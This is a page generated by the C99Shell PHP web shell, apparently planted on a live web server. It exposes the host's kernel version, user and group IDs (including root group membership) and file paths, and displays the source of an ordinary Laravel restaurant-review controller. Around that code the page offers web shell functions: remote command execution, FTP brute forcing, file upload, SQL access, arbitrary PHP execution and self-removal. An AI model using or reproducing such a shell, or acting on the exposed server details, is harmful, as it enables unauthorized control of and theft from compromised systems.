!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/Modules/MultiRestaurant/Http/Controllers/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReviewController.php (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\MultiRestaurant\Http\Controllers;

use 
App\Models\Order;
use 
App\Models\Restaurant;
use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\MultiRestaurant\Entities\Review;
use 
Illuminate\Http\RedirectResponse;


class 
ReviewController extends Controller
{
    
/**
     * Display a listing of the resource.
     * @return Renderable
     */
    
public function index()
    {
        return 
view('multirestaurant::index');
    }

    
/**
     * Show the form for creating a new resource.
     * @return Renderable
     */
    
public function create()
    {
        return 
view('multirestaurant::create');
    }

    
/**
     * Store a newly created resource in storage.
     * @param Request $request
     * @return Renderable
     */
    
public function store(Request $request): RedirectResponse
    
{

        if(!
$request->user_id){
            return 
redirect()->back()->withErrors(['msg' => trans('multirestaurant::layout.customer_login_fast')]);
        }

        
$request->validate([
            
'user_id' => 'required',
            
'restaurant_id' => 'required',
            
'rating' => 'required',
            
'comment' => 'required',
        ]);

        
$user auth()->user();

        if(
$user->type != 'customer'){
            return 
redirect()->back()->withErrors(['msg' => trans('multirestaurant::layout.invalid_customer')]);
        }

        
$restaurant Restaurant::where('id'$request->restaurant_id)->firstOrFail();
        
$has_reviewed Review::where('user_id'$user->id)
                        ->
where('restaurant_id'$restaurant->id)
                        ->
first();
        if(
$has_reviewed){
            return 
redirect()->back()->withErrors(['msg' => trans('multirestaurant::layout.already_reviewed')]);
        }

        
$recently_ordered Order::where('user_id'$user->id)
                          ->
where('status''delivered')
                          ->
where('restaurant_id',$restaurant->id)
                          ->
where('payment_status''paid', )
                          ->
first();

        if(!
$recently_ordered){
            return 
redirect()->back()->withErrors(['msg' => trans('multirestaurant::layout.you_must_order_first')]);

        }


        
$review = new Review();
        
$review->user_id $user->id;
        
$review->restaurant_id $restaurant->id;
        
$review->rating $request->rating;
        
$review->comment $request->comment;
        
$review->status 'enable';
        
$review->save();

        return 
redirect()->back()->with('success',trans('multirestaurant::layout.review_submitted_successfully'));

    }

    
/**
     * Show the specified resource.
     * @param int $id
     * @return Renderable
     */
    
public function show($id)
    {
        return 
view('multirestaurant::show');
    }

    
/**
     * Show the form for editing the specified resource.
     * @param int $id
     * @return Renderable
     */
    
public function edit($id)
    {
        return 
view('multirestaurant::edit');
    }

    
/**
     * Update the specified resource in storage.
     * @param Request $request
     * @param int $id
     * @return Renderable
     */
    
public function update(Request $request$id)
    {
        
//
    
}

    
/**
     * Remove the specified resource from storage.
     * @param int $id
     * @return Renderable
     */
    
public function destroy($id)
    {
        
//
    
}


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]--